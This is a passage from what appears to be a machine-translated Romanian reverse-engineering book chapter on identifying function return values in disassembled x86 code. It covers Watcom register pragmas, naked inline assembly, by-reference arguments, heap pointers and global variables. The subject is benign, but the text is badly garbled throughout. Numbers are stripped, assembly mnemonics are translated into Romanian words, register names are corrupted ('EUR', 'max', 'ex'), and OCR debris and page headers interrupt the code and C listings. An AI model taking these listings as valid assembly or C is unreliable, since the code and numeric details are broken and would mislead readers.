funcției ; valoare: [esp+ - ] == [esp], adică este plasat în partea de sus a stivei, ; ceea ce este echivalent cu a-l împinge cu comenzi PUSH push offset aF ; „%f\n” ; Trecem un pointer către șirul de specificatori „%f\n” la funcția printf apel -printf adăuga esp, OCh pop ebp retn endp principal MyFunc proc lângă C DE XREF: principal+Dip arg = dword ptr arg = dword ptr OCh împinge ebp mov ebp, esp ; Deschiderea cadrului stivei fld[ebp+arg ] ; Tragem argumentul arg în partea de sus a stivei de coprocesoare ; Pentru a-i determina tipul, ne uităm la opcode-ul instrucțiunii FLD - D ; Dacă da, este un plutitor fadd [ebp+arg ] ; Adăugați arg , doar împins în partea de sus a stivei de coprocesor, ; cu arg împingând rezultatul pe aceeași stivă și pop ebp retn ; ne întoarcem din funcție, lăsând rezultatul adunării a două flotoare ; în partea de sus a stivei de coprocesoare ; E amuzant, dacă declari o funcție ca dublă, va da un cod identic MyFunc endp O notă despre mecanismul de returnare a valorilor în compilatorul WATCOM C Compilatorul Watcom C oferă programatorului posibilitatea de a alege „manual” în ce registru (registre) funcția va returna rezultatul muncii sale Acest lucru complică serios analiza, deoarece, după cum am menționat mai devreme, conform convențiilor general acceptate, funcția nu ar trebui să strice registrele ebx, esi și edi (in, si și di în codul de biți) Capitolul Identificarea valorii returnate de o functie citirea registrului esi după apelul funcției, în primul rând vom decide că a fost inițializat înainte de a fi apelat - până la urmă, acest lucru se întâmplă în marea majoritate a cazurilor Dar nu și cu Watcom, care poate forța funcția să returneze o valoare în orice registru de uz general, cu excepția evr (vr), forțând astfel cercetătorul să studieze atât funcțiile de apelare, cât și cele apelate Registrele valide pentru returnarea unei valori de funcție în compilatorul Watcom C sunt listate în Tabelul - Registrele implicite sunt îngroșate Rețineți că este imposibil să determinați direct tipul valorii returnate din registrul utilizat, ci doar dimensiunea acesteia În special, pot fi returnate atât o variabilă int, cât și o structură de patru variabile char (sau două caractere sau un int scurt) prin registrul eax Tabelul Registre valide pentru returnarea unei valori de funcție în compilatorul Watcom C Tip Cazuri permise Un singur octet A > BL CL DL AN BH CH DH Dublu octet AX CX BX DX SI DI EAX EBX ECX EDX ESI EDI de patru octeți Opt octeți EDX:EAX ECX:EBX ECX:EAX ECX:ESI EDX:EBX EBX:EAX EDI:EAX ECX:EDI EDX:ESI EDI:EBX ESI:EAX ECX:EDX EDX:EDI EDI:ESI ESI EBX În apropierea indicatorului EAX EBX ECX EDX ESI EDI Far Pointer DX:EAX CX:EBX CX:EAX CX:ESI DX:EBX DI:EAX CX:EDI DX:ESI DI:EBX SI:EAX CX:EDX DX:EDI DI:ESI SI:EBX BX:EAX FS:ECX FS:EDX FS:EDI FS:ESI FS:EBX FS:EAX GS:ECX GS:EDX GS:EDI GS:ESI GS:EBX GS:EAX DS:ECX DS:EDX DS:EDI DS:ESI DS:EBX DS:EAX ES:ECX ES:EDX ES:EDI ES:ESI ES:EBX ES:EAX float ??? ??? ??? ??? ??? dublu EDX:EAX ECX:EBX ECX:EAX ECX:ESI EDX:EBX EDI:EAX ECX:EDI EDX:ESI EDI:EBX ESI:EAX ECX:EDX EDX:EDI EDI:ESI ESI:EBX EBX:EAX Să arătăm cum arată în practică Luați în considerare exemplul prezentat în Lista ( ,,l ^> ^ ѵ y , , ■ -fA ■ v #include int MyFunc(int a, int b) { #pragma aux MyFunc value [ESI] // Pragma AUX, împreună cu cuvântul cheie „valoare”, permite // setați manual majusculele, // prin care va fi returnat rezultatul calculelor Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt // În acest caz, este instruit să-l returneze prin ESI returnează a+b; } principal() { printf("%x\n",MyFunc( x , x )); } Compilarea acestui exemplu ar trebui să arate ceva ca Lista - ; Lista Rezultatul compilării exemplului prezentat în Lista este - ,= main proc lângă COD XREF: СMaip+ Ір apăsați ore sunați CHK ; Verificarea depășirii stivei împinge edx împinge esi ; Salvăm ESI și EDX Aceasta înseamnă că acest compilator ; aderă la acordul de conservare ESI ; Comanda de salvare EDI nu este vizibilă, totuși acest registru ; nu este modificată de această funcție și, prin urmare, nu este nevoie să o salvați mov edx, h mutare eax, h ; Trecem două argumente int funcției MyFunc apelați MyFunc ; Sunăm MyFunc Conform convențiilor general acceptate, EAX, EDX și ECX ; la ieșirea din funcție conține fie nedefinit, ; sau valoarea returnată a funcției ; Restul registrelor ar trebui, în general, păstrate împinge esi ; Trecem registrul ESI la funcția printf Nu putem fi siguri ; spuneți dacă conține valoarea returnată de funcție sau was ; inițializat înainte de a fi apelat push offset asc ; „%x\n” suna printf adăugați esp, pop esi pop edx retn main endp MyFunc proc lângă COD XREF: principal + Îp apăsați sunați CHK Capitolul Identificarea valorii returnate de o functie ; Verificarea depășirii stivei lea esi, [eax+edx] ; Și iată un truc complicat cu adaos deja familiar nouă La prima vedere, ; un pointer către EAX + EVX este încărcat în ESI - de fapt, așa este ; se întâmplă, dar indicatorul către EAX + EVX este în același timp al lor ; suma, adică această comandă este echivalentă cu ADD EAX,EDX/MOV ESI,EAX ; Aceasta este valoarea returnată a funcției, deoarece ESI a fost ; modificat si nu salvat! ; Astfel, funcția de apelare cu comanda PUSH ESI trimite printf ; rezultatul adăugării x și x , ceea ce am vrut să aflăm retn MyFunc endp Returnarea valorilor din funcțiile de asamblare inline Creatorul unei funcții de asamblare este liber să returneze valori în orice registre dorește Cu toate acestea, deoarece apelanții unui limbaj de nivel înalt se așteaptă să vadă rezultatul unui calcul în registre bine definite, trebuie respectate convențiile de tip Un alt lucru sunt funcțiile de asamblare „interne” - este posibil să nu adere deloc la nicio regulă, așa cum demonstrează următorul exemplu din Listarea Lista L Un exemplu care demonstrează valoarea returnată a asamblatorului încorporat „funcții ' / '> #include // funcția naked fără prototip - // programatorul însuși ar trebui să se ocupe de tot! declspecf gol ) int MyFunc() ( asm{ lea ebp, [eax+ecx] ; Returnăm suma EAX și ECX la EBP ; Un astfel de truc este permis numai cu condiția ca aceasta ; funcția va fi apelată de la asamblator ; o funcție care știe prin ce registre ; se trec argumente şi prin care − ; rezultatul calculului este returnat ret principal() ( int a= x ; int b= x ; int c; asm{ push ebp push edi mov eax,[a] ; mov ecx,[b]; Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt lea edi,c // Apelați funcția MyFunc din funcția de asamblare, pasând-o // argumentează prin acele registre pe care ea le „dorește”, apelează MyFunc; // Acceptați valoarea returnată în EUR //și stocați-l într-o variabilă locală mov[edi],ebp pop edit pop ebp ) printf("%x\n", c); ) Exemplul din Lista - trebuie compilat folosind compilatorul Microsoft Visual C++ Alți compilatori nu vor compila acest exemplu deoarece nu acceptă cuvântul cheie naked Rezultatul compilației ar trebui să arate ca Lista - : L Is^^yyKyaZ^ezuyatcom^^ MyFunc proc lângă COD XREF: principal+ vlp lea ebp, [eax+ecx] ; Acceptăm argumente prin registrele EAX și ECX, revenind prin registru ; EUR suma lor Desigur, exemplul este oarecum exagerat, dar este clar! retn MyFunc endp proc principal lângă ; COD XREF: start+AFip var C= dword ptr -OCh var = dword ptr - var = dword ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub esp, OCh ; Rezervați spațiu pentru variabilele locale împinge ebx împinge esi push edi ; Salvăm registre variabile mov[ebp+var ], h mov[ebp+var ], h ; Inițializam variabilele var și var push ebp push edi Capitolul Identificarea valorii de returnare a unei funcții ; Salvați registre sau treceți-le la funcții? Până nu poți răspunde ; clar mov eax, [ebp+var ] mov ex, [ebp+var ] ; Încărcăm valoarea variabilei var în EAX, iar valoarea var în ECX lea edi, [ebp+var C] ; Încărcăm indicatorul către variabila var C în EDI apelați MyFunc ; Numim MyFunc - din analiza funcției de apelare nu este foarte clar cum ; i se trec argumente Poate prin stivă, sau poate prin registre ; Doar o examinare a codului MyFunc vă permite să stabiliți ce este adevărat ; se dovedește a fi ultima presupunere mov [edi], ebp ; Ce ar însemna asta? Numai analiza funcției de apelare nu poate da ; un răspuns exhaustiv și doar analiza apelatului sugerează că ; prin EUR, returnează rezultatul calculului pop edit pop ebp ; Restaurarea registrelor modificate ; Acest lucru sugerează că mai sus aceste registre au fost într-adevăr stocate în ; stiva, mai degrabă decât să fie transmisă funcției ca argumente mov eax, [ebp+var c] ; Încărcăm conținutul variabilei var C în EAX împinge max push offset unk apelați printf adăugați esp, ; Numim printf pop edit pop esi pop ebx ; Restaurarea registrelor mov esp, ebp pop ebp ; Închideți cadrul stivei retn endp principal Returnarea valorilor prin argumente transmise prin referință Identificarea valorilor returnate prin argumente transmise prin referință este strâns legată de identificarea argumentelor în sine După ce au selectat pointerii dintre argumentele transmise funcției, îi punem în lista de candidați pentru valorile returnate Această problemă a fost discutată în detaliu în Capitolul , „Identificarea argumentelor funcției” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Acum să ne uităm: există indicii către variabile neinițializate printre ele - evident, acestea sunt inițializate de funcția numită însăși Cu toate acestea, nu tăiați pointerii către variabilele inițializate (în special cele egale cu zero) - ele pot returna și valori Analiza funcției apelate ne va permite să clarificăm situația - ne vor interesa toate operațiunile de modificare a variabilelor trecute prin referință Doar nu confundați acest lucru cu modificarea variabilelor transmise după valoare Aceștia din urmă mor automat în momentul în care funcția se termină (mai precis, când argumentele sunt șterse din stivă) De fapt, acestea sunt variabile locale ale funcției și le poate schimba fără durere după bunul plac Luați în considerare exemplul prezentat în Lista = Lista Un exemplu care demonstrează returnarea valorilor prin variabilele transmise : Ș prin referință • ' #include #include // Funcție pentru a inversa șirul src și a-l scrie în șirul dst void Reverse(char *dst, const char *src) { strcpyfdst,src); strrev(dst); ) // Funcție pentru a inversa șirul s // (rezultatul este scris în șirul s însuși) void Reverse(car*s) { strrev(e); ) // Funcția returnează suma celor două argumente int sumfint a,int b) { // Putem modifica fără durere argumentele, // trecut prin valoare, // tratându-le ca pe variabile locale obișnuite a+=b; returnează a; ) principal() { char sO[]="Bună ziua, Marinarul!"; charsl [ ] ; // Inversează șirul sO, scriindu-l în sl Reverse(&sl[ ],&s [ ]); printf("%s\n",&sl[ ] ); // Inversează șirul sl, suprascriindu-l Reverse(&sl[ ]) ; printf("%s\n",&sl [ ] ); // Afișează suma a două numere printf("%x\n",sum( x , x )); Capitolul Identificarea valorii de returnare a unei funcții Compilarea acestui exemplu ar trebui să arate ceva ca Lista - Lista Rezultatul compilării exemplului prezentat în Listarea proc principal lângă ; COD XREF: start+AF^p var = byte ptr - h var = dword ptr -lOh var C = dword ptr -OCh var = dword ptr - var = cuvânt ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub esp, h ; Rezervăm memorie pentru variabilele locale mov eax, dword ptr aHelloSailor ; Salut Marinar! ; Introducem primii patru octeți ai șirului „Hello, Sailor!” în registrul EAX ; Compilatorul probabil copiază șirul într-o variabilă locală ca aceasta ; viclean mov[ebp+var ], eax mov ex, dword ptr aHelloSailor+ mov[ebp+var C], ecx mov edx, dword ptr aHelloSailor+ mov[ebp+var ], edx mov ax, word ptr aHelloSailor+OCh mov [ebp+var ], ax ; Exact, șirul „Hello, Sailor!” copiat în variabila locală ; var de tip char s[ xl J ; Numărul x a fost obținut prin numărarea numărului de octeți copiați − ; patru iterații a câte patru octeți fiecare - total șaisprezece lea exx, [ebp+var ] ; Încărcarea în ECX a unui pointer către variabila locală var , ; care conține șirul „Bună ziua, Lume ” împinge ex ; int ; Trecând funcției Reverse l un pointer către șirul „Hello, World!” ; Uite, - IDA a determinat incorect tipul, - ei bine, ce fel de int este, ; când este char * Cu toate acestea, amintindu-ne cum a fost copiat șirul, ; vom înțelege cauza erorii de dezasamblare lea edx, [ebp+var ] ; Încărcarea în ECX a unui pointer către un neinițializat ; variabila locală var push edx ; char * ; Trecând funcției Reverse l un pointer către un neinițializat ; variabilă de tip char sl[ ] Numărul a fost obținut prin scădere ; offset-ul variabilei var față de offset-ul variabilei care o urmează, ; var care conține șirul „Hello, World ” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; x - x = x sau zecimal - Fapt ; trecerea unui pointer către o variabilă neinițializată indică faptul că ; că, cel mai probabil, funcția va returna o anumită valoare prin ea - ; ia notă de asta cal Reverse l adăugați esp, ; Apelarea funcției Reverse l lea eax, [ebp+var ] ; Încărcarea în EAX a unui pointer către variabila var împinge eax ; Trecerea unui pointer la variabila var la funcția printf, deoarece ; funcția de apelare nu a inițializat această variabilă, puteți ; presupunem că apelatul și-a returnat valoarea prin intermediul acestuia ; Este posibil ca funcția Reverse l să fi modificat și variabila var , ; Cu toate acestea, acest lucru nu poate fi spus cu certitudine până când ; până când codul său este învățat push offset unk apelați printf adăugați esp, ; Apelarea funcției printf pentru a imprima un șir lea eskh, [ebp+var ] ; Încărcarea în ECX a unui pointer către variabila var pare să fie ; conţinând valoarea returnată de funcţia Reverse l împinge ex ; char* ; Trecerea unui pointer la variabila var la funcția Reverse ; Funcția Reverse poate reveni și în variabila var ; semnificația acestuia sau modificați-o într-un fel ; Cu toate acestea, s-ar putea să nu se întoarcă! ; Situația poate fi clarificată prin analiza codului funcției apelate apelați Reverse adăugați esp, ; Apelarea funcției Reverse lea edx, [ebp+var ] ; Încărcarea unui pointer către variabila var în EDX împinge edx ; Trecerea unui pointer la variabila var la funcția printf ; Deoarece valoarea returnată de funcție prin registrele EDX: EAX ; nu este folosit, se poate presupune că ea nu-l returnează ; registre, iar în variabila var Dar aceasta nu este altceva decât o presupunere push offset unk apelați printf adăugați esp, ; Apelarea funcției printf împinge h ; Transmiterea valorii int x la funcția Sum Capitolul Identificarea valorii de returnare a unei funcții Apăsaţi h ; Transmiterea valorii x la funcția Sum de tip int suma apelului adăugați esp, ; Apelarea funcției Sum împinge eax ; Registrul EAX conține valoarea returnată a funcției Sum ; Îl transmitem funcției printf ca argument push offset unk apelați printf adăugați esp, ; Apelarea funcției printf mov esp, ebp pop ebp ; Închideți cadrul stivei retn endp principal ; int cdecl Reverse l(char *,int) ; Rețineți că prototipul funcției nu este definit corect! ; De fapt, așa cum am stabilit deja din analiza funcției de apelare, aceasta ; arată astfel: Reverse(char *dst, char *src) ; Numele argumentelor se bazează pe faptul că argumentul din stânga este un pointer ; la un buffer neinițializat și, cel mai probabil, acționează ca ; receptor, respectiv, argumentul potrivit în acest caz este sursa Reverse l proc lângă COD XREF: principal+ Îp arg = dword ptr arg = dword ptr OCh împinge ebp mov ebp, esp ; Deschiderea cadrului stivei mov eax, [ebp+arg ] ; Încărcăm valoarea argumentului arg în EAX împinge max ; Trecem arg la funcția strcpy mov ex, [ebp+arg ] ; Încărcăm valoarea argumentului arg în ECX împinge ex ; Trecem arg la funcția strcpy sunați la strcpy adăugați esp, ; Copiați conținutul șirului indicat de arg în buffer ; indicat de arg Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt mov edx, [ebp+arg ] ; Încărcați în EDX conținutul argumentului arg care indică către buffer, ; care conține șirul pe care tocmai l-ați copiat Apăsaţi edx ; char * ; Trecem funcțiile strrev arg sun strrev adăugați esp, ; Funcția strrev inversează șirul indicat de arg , ; prin urmare, funcția Reverse l returnează într-adevăr propriul său ; valoare prin argumentul arg transmis prin referință ; În schimb, șirul indicat de arg rămâne neschimbat, ; deci prototipul funcției Reverse l arată astfel: ; void Reverse l(char *dst, const char *src); ; Nu neglija niciodată calificativul const, așa cum este clar ; indică faptul că variabila indicată de dat ; indicatorul este doar pentru citire Aceste informații sunt semnificative ; face mai ușor să lucrați cu o listă de dezasamblare, mai ales când dvs ; reveniți la el după un timp, uitând complet; algoritmul programului studiat pop ebp ; Închideți cadrul stivei retn Reverse l endp ; int cdecl Reverse (char *) ; Dar de data aceasta prototipul funcției este definit corect! ; (Ei bine, cu excepția faptului că tipul returnat este void, nu int) Reverse proc lângă COD XREF principal+ FОp arg - dword ptr împinge ebp mov ebp, esp ; Deschiderea cadrului stivei mov eax, [ebp+arg ] ; Încărcăm conținutul argumentului arg în EAX push eax ,- char * ; Se transmite arg la strrev call strrev adăugați esp, ; Inversăm șirul, scriind rezultatul în același loc ; Prin urmare, funcția Reverse returnează într-adevăr ; prin arg , iar estimarea noastră preliminară s-a dovedit a fi ; corect! pop ebp ; Închideți cadrul stivei Capitolul Identificarea valorii returnate de o functie retn ; Prototipul funcției Reverse , conform cercetărilor recente, arată ca ; astfel: void Reverse (char *s) Reverse endp Suin proc lângă COD XREF: principal+ Îp arg = dword ptr arg = dword ptr OCh împinge ebp mov ebp, esp ; Deschiderea cadrului stivei mov eax, [ebp+arg ] ; Încărcăm valoarea argumentului arg în EAX adăugați eax, [ebp+arg ] ; Adăugați arg la arg , scriind rezultatul în EAX mov [ebp+arg ], eax ; Copiați rezultatul adăugării arg și arg înapoi la arg ; Hackerii neexperimentați pot confunda acest lucru cu returnarea unei valori prin ; argument, dar această presupunere este falsă ; Cert este că argumentele au trecut funcției, după finalizarea acesteia ; a ieșit din stivă și imediat „mor” Nu uita: ; Argumentele transmise după valoare se comportă la fel ca argumentele locale ; variabile mov eax, [ebp+arg ] ; Dar acum valoarea returnată este de fapt copiată în registrul EAX ; sens Prin urmare, prototipul funcției arată astfel: ; int Sum(int a, int b); pop ebp ; Închideți cadrul stivei retn Suma endp Returnarea valorilor prin intermediul memoriei dinamice (heap) Returnarea unei valori printr-un argument transmis prin referință nu face mare lucru pentru un prototip de funcție Încetează instantaneu să mai fie intuitiv și necesită explicații detaliate care să indice că nu trebuie trecut nimic cu acest argument, dimpotrivă, ar trebui să fiți gata să acceptați unele date de aici Există o problemă mai serioasă - nu în toate cazurile dimensiunea datelor returnate este cunoscută dinainte - adesea se dovedește numai în timpul funcționării funcției apelate Alocați un buffer „cu o marjă”? Urât și neeconomic - chiar și în sistemele cu memorie virtuală, volumul său nu este nelimitat Acum, dacă funcția apelată și-a alocat în mod independent memorie pentru ea însăși, așa cum este necesar, și apoi a returnat un pointer către aceasta Făcut repede şi foarte bine! Greșeala multor programatori începători este tocmai aceea de a încerca să returneze un pointer către variabilele locale, dar, din păcate, ele „mor” odată cu finalizarea funcției și punctele de indicator returnate Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt spre spațiu” Soluția corectă este alocarea memoriei din heap (memorie dinamică), să zicem, apelând malloc sau new - această memorie „trăiește” până când este eliberată forțat de funcțiile free sau delete, respectiv Pentru analiza programului, mecanismul de alocare a memoriei nu este esențial Tipul valorii returnate joacă rolul principal Distingerea unui indicator de alte tipuri este destul de ușoară - doar un pointer poate fi folosit ca expresie de subadresă Să ne uităm la exemplul din Lista !^^ #include #include #include char* MyFunc(int a) { char*x; x = (char *) malloc( ) ; ltoa(a,x, ); întoarce x; ) char*x; x=MyFunc( x ); printf(" x%s\n",x); liber(x); Rezultatul compilării acestui exemplu este prezentat în Lista proc principal aproape ; COD XREF: Start+AF^p var = dword ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ecx ; Alocăm memorie pentru o variabilă locală de octeți (vezi secțiunea ) împinge h ; Trecem valoarea de tip int la funcția MyFunc apelați MyFunc adăugați esp, ; Apelăm MyFunc - rețineți că funcția nu are un singur argument; nu a fost trecut prin referință! [ebp+var ], eax Capitolul ; Copiați valoarea returnată de funcție în variabila var mov eax, [ebp+var ] ; Super Încărcăm valoarea returnată de funcție înapoi în EAX! împinge max ; Transmiteți valoarea returnată a funcției la printf ; Judecând după specificator, tipul valorii returnate este char * ; Pentru că nu au fost transmise argumente către MyFunc ; link, ea și-a alocat explicit memorie pe cont propriu și a scris acolo ; șirul primit, Și dacă funcțiile MyFunc au fost trecute unul sau ; mai multe argumente prin referință? Atunci n-ar fi nicio certitudine ; că ea nu a returnat unul dintre aceste argumente înapoi, anterior ; prin modificarea acestuia ; Cu toate acestea, modificarea este opțională - să zicem, trecem funcția ; pointează către două șiruri și returnează un pointer către unul ; care, să zicem, este mai scurtă sau conține mai multe vocale ; Prin urmare, nu orice întoarcere a unui pointer indică o modificare push offset aOxS ; „Ox%s\n” apelați printf adăugați esp, ; Apelul la printf imprimă pe ecran șirul returnat de funcția MyFunc mov ex, [ebp+var ] ; În ECX încărcăm valoarea pointerului returnat de funcția MyFunc împinge ex ; nul * ; Trecem indicatorul returnat de funcția MyFunc la funcția liberă ; Deci, MyFunc a alocat într-adevăr memorie pe cont propriu ; apel malloc call free adăugați esp, ; Eliberăm memoria alocată de MyFunc pentru a returna valoarea mov esp, ebp pop ebp ; Închideți cadrul stivei retn ; Deci prototipul MyFunc arată astfel: ; char* MyFunc(int a) endp principal MyFunc proc lângă COD XREF: principal+ Îp var = dword ptr - arg = dword ptr împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ecx ; Rezervăm memorie pentru variabilele locale Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt împingere h; dimensiunea t call malloc adăugați esp, ; Alocam x octeți de memorie din heap sau pentru nevoile proprii ale funcției, ; sau pentru a returna un rezultat Pentru că din analiza codului apelantului ; funcția, știm deja că MyFunc returnează un pointer, foarte ; este probabil ca apelul la malloc să aloce memorie tocmai în acest scop ; Cu toate acestea, pot exista mai multe apeluri la malloc și indicatorul ; se întoarce doar la unul dintre ele mov[ebp+var ], eax ; Stocați pointerul în variabila locală var apăsați h; int ; Trecem argumentul x (extrema dreapta) la funcția Itoa - necesarul ; sistem de numere pentru conversia unui număr mov eax, [ebp+var ] ; Încărcăm în EAX conținutul pointerului către memoria alocată din heap push eax ; char * ; Trecem indicatorul la buffer la funcția Itoa pentru a returna rezultatul mov ex, [ebp+arg ] ; Încărcăm valoarea argumentului arg în EAX împinge ex ; int ; Trecem argumentul arg la funcția Itoa, care este o valoare int sun Itoa adăuga esp, OCh ; Funcția Itoa convertește un număr într-un șir și îl scrie în memoria tampon la ; indicatorul trecut mov eax, [ebp+var ] ; Revenim un pointer către regiunea de memorie alocată de MyFunc însuși din ; grămezi, şi conţinând rezultatul lui Itoa mov esp, ebp pop ebp ; Închideți cadrul stivei retn MyFunc endp Returnarea valorilor prin variabile globale „Telenovela” de reluări cu indicatori care revin continuă cu seria „Returning Values Through Global Variables (și/sau un Pointer to Global Variables)” În general, variabilele globale sunt proaste Acest stil de programare este tipic pentru programatorii cu o mentalitate paralizată ireversibil de ideologiile Basic cu mecanismul său de apelare a subrutinelor Identificarea variabilelor globale este discutată mai detaliat în Capitolul , dar aici ne vom concentra eforturile pe studierea mecanismelor de returnare a valorilor prin variabilele globale Capitolul Identificarea valorii returnate de o functie De fapt, toate variabilele globale pot fi considerate ca argumente implicite pentru fiecare funcție care este apelată și, în același timp, ca valori returnate Orice funcție le poate citi și modifica în mod arbitrar și nici „trecerea”, nici „returnarea” variabilelor globale nu este dezvăluită prin analiza codului funcției de apelare - pentru aceasta, este necesar să o examinăm cu atenție pe cea apelată În special, ar trebui să aflați dacă manipulează variabile globale și, dacă da, care sunt De asemenea, puteți utiliza abordarea opusă - prin vizualizarea segmentului de date, găsirea tuturor variabilelor globale, determinarea decalajului acestora și, prin căutare contextuală în întregul fișier, identificarea funcțiilor care se referă la acestea Pe lângă variabilele globale, există și variabile statice Ele se află și în segmentul de date, dar sunt direct accesibile doar funcției care le-a declarat Mai exact, restricția nu se impune asupra variabilelor în sine, ci asupra numelor acestora Pentru a oferi altor funcții acces la propriile variabile statice, treceți doar un pointer Din fericire, acest truc nu creează probleme hackerilor (deși unii critici răutăcioși îl declară o „gaură în securitate”) Lipsa accesului direct la variabilele statice „străine” și nevoia de a interacționa cu funcția proprietarului printr-o interfață previzibilă (pointerul returnat) permit ca programul să fie împărțit în module independente separate, fiecare dintre acestea putând fi analizat separat Pentru a nu fi neîntemeiat, vom demonstra acest lucru cu un exemplu practic (Listing ) întoarcere valorile prin statică globală ♦include char* MyFunc(int a) { static char x[ ][ ]={"luni", "marți", "miercuri", "joi", "vineri", "sâmbătă", "duminică"}; returnează &x[a- ][ ]; } principal() printf("%s\n",MyFunc( )); Rezultatul compilării exemplului din Lista - cu compilatorul implicit Microsoft Visual C++ arată ca Lista - ■&dj??^^t,compilationsprj^ returnează valoarea prin MyFunc proc aproape ; COD XREF: principal+ -Lp arg = dword ptr împinge ebp mov ebp, esp ; Deschiderea cadrului stivei Pentru mai multe informații despre acest subiect, consultați secțiunea „Referințe încrucișate” din Capitolul , „Identificarea variabilelor globale” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt mov eax, [ ebp+ arg ] ; Încărcăm valoarea argumentului arg în EAX sub eax, ; Reduceți EAX cu unu Acest lucru indică indirect că ; arg nu este un pointer, deși pointer math în C ; permise și utilizate în mod activ shl ex, ; Înmulțiți (arg - ) cu Deplasare biți la dreapta ; cu patru poziții echivalează cu înmulțirea cu ( == ) adaugă eax, offset aPonedelNik ; "Luni" ; Adăugăm valoarea rezultată cu indicatorul de bază la tabelul cu șiruri, ; situat în segmentul de date Și în segmentul de date sunt fie ; variabile statice sau globale ; Deoarece valoarea argumentului arg este înmulțită cu o anumită valoare ; (în acest caz, ), putem presupune că avem de-a face cu ; matrice bidimensională În acest caz, o matrice de șiruri fixe ; lungime Astfel, EAX conține un pointer către un șir cu index ; arg - pop ebp ; Închidem cadrul stivei returnând în registrul EAX un pointer către ; elementul de matrice corespunzător După cum vedem, nu există ; diferența fundamentală între returnarea unui pointer către o regiune de memorie, ; alocat din heap, returnând un pointer la static ; variabilele situate în segmentul de date retn MyFunc endp proc principal lângă COD XREF: start+AF^p împinge ebp mov ebp, e sp ; Deschiderea cadrului stivei apăsați ; Transmiterea unei valori int către MyFunc ; (a șasea zi este sâmbătă) apelați MyFunc adăugați esp, ; Sunați MyFunc împinge eax ; Transmitem valoarea returnată de MyFunc la funcția printf ; Judecând după șirul de specificatori, acesta este un pointer către un șir push offset caS ; „%s\n” apelați printf adăugați esp, pop ebp ; Închideți cadrul stivei retn Capitolul Identificarea valorii returnate de o functie endp principal aPonedelNik db 'Luni', , , , , ; DATE XREF: MyFunc+do ; Prezența unei referințe încrucișate la o singură funcție sugerează că tipul ; această variabilă este statică aVtornik aSreda aCetverg aPqtnica aSubbota aVoskresenE aS db db db db db 'Marți', , , , , , , , , „Miercuri”, , , , , , , , , , , Joi ', , , , , , , , , „Vineri”, , , , , , , , , „Sâmbătă”, , , , , , , , , „Duminica”, Oh, Oh, Oh, Oh, Oh %s',Oah,O ; DATE XREF: principal+EOo Acum să comparăm exemplul anterior din Lista - cu variabilele globale reale (Listingul - ) = Lista * : Exemplu care demonstrează returnarea unei valori prin variabile globale ♦include MyFunc() {c=a+b; } principal() { a= x ; b= x ; Functia mea(); printf("%x\n", c); } Rezultatul compilarii exemplului din Lista ar trebui să arate similar cu Lista '■ Listarea , Rezultatul compilării exemplului din Listarea proc principal lângă ; C DE XREF: start+AF^p push mov ebp ebp, esp ; Deschiderea cadrului stivei apelați MyFunc Sunăm MyFunc Atenție - funcțiile evident nu fac nimic si nimic nu se returneaza De aceea, transmise (conform concluziilor preliminare) astfel: void MyFunc() prototipul său arată ca suma apelului ; Numim funcția Sum, care în mod explicit nu acceptă sau returnează niciuna Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; valorile Prototipul său preliminar arată astfel: void Sum() mutare eax, s ; Încărcăm valoarea variabilei globale „c” în EAX ; Ne uităm la segmentul de date, - ei bine, ei bine, aici este variabila „c”, egală cu ; zero Cu toate acestea, această valoare nu poate fi de încredere - poate fi deja ; a reușit să schimbe funcțiile numite anterior ; Sugestia de modificare este susținută de câteva referințe încrucișate, ; dintre care unul indică funcția Sunt sufixul „w”, final ; referință încrucișată, spune ce scrie Sunt variabilei ; „cu” ceva valoare Care? Acesta poate fi găsit ; prin analiza propriului cod al lui Sunt împinge max ; Trecerea valorii returnate de funcția Sunt prin global ; variabila „c” a funcției printf ; Judecând după șirul de specificatori, argumentul este de tip int push offset asc ; „%x\n” apelați printf adăugați esp, ; Imprimați rezultatul returnat de Sunt la terminal pop ebp ; Închideți cadrul stivei retn endp principal Sum proc aproape de C DE XREF: principal+ Îp ; Funcția Sum nu primește niciun argument pe stivă! împinge ebp mov ebp, esp ; Deschiderea cadrului stivei mută eax, a ; Încărcăm valoarea variabilei globale „a” în EAX ; Găsim „a” în segmentul de date - da, există o referință încrucișată la ; MyFunc, care scrie ceva în variabila „a” ; Deoarece apelul către MyFunc a precedat apelul către Sum, putem spune asta ; MyFunc a returnat o valoare în „a” adăugați eax, b ; Adăugați EAX (stocarea valorii variabilei globale „a”) cu ; conținutul variabilei globale „b” ; (tot ce s-a spus mai sus despre „a” este valabil și pentru „b”) mov c, eax ; Punem rezultatul adunării a + b în variabila „c” ; După cum știm deja (din analiza funcției principale), funcția Sum în variabilă ; „c” returnează rezultatul calculelor sale ; Acum știm care dintre ele Capitolul Identificarea valorii returnate de o functie pop ebp ; Închideți cadrul stivei retn Suma endp MyFunc proc lângă C DE XREF: principal+ Îp împinge ebp mov ebp, esp ; Deschiderea cadrului stivei mov a, h ; Atribuiți variabilei globale „a” valoarea x mov b, h ; Atribuiți variabilei globale „b” valoarea x ; După cum am aflat din analiza celor două funcții anterioare, funcția MyFunc ; returnează în variabilele a și b rezultatul calculelor sale ; Acum am stabilit care dintre ele și, în același timp, am putut să aflăm ; modul în care cele trei funcții interacționează între ele ; main() apelează MyFunc(), care inițializează variabilele globale „a” ; și „b”, apoi main() apelează Sum() punând suma lui „a” și „b” în ; variabila globală „c”, în cele din urmă main() ia „c” și îl trece prin el ; stiva de funcții printf pentru a fi afișată pe ecran ; Uff Ce confuz, dar acesta este cel mai simplu exemplu de trei funcții! ; Ce putem spune despre un program real, în care există mii de aceste funcții, ; și ordinea apelului și comportamentul fiecăruia dintre ei ; nu atât de evident pop ebp retn MyFunc endp și dd ; DATE XREF: MyFunc+ Îw Sum+ Îr b dd ; DATE XREF: MyFunc+DÎw Sum+ Îr cu dd ; DATE XREF: Sum+EÎw main+DÎr Judecând după referințele încrucișate, toate cele trei 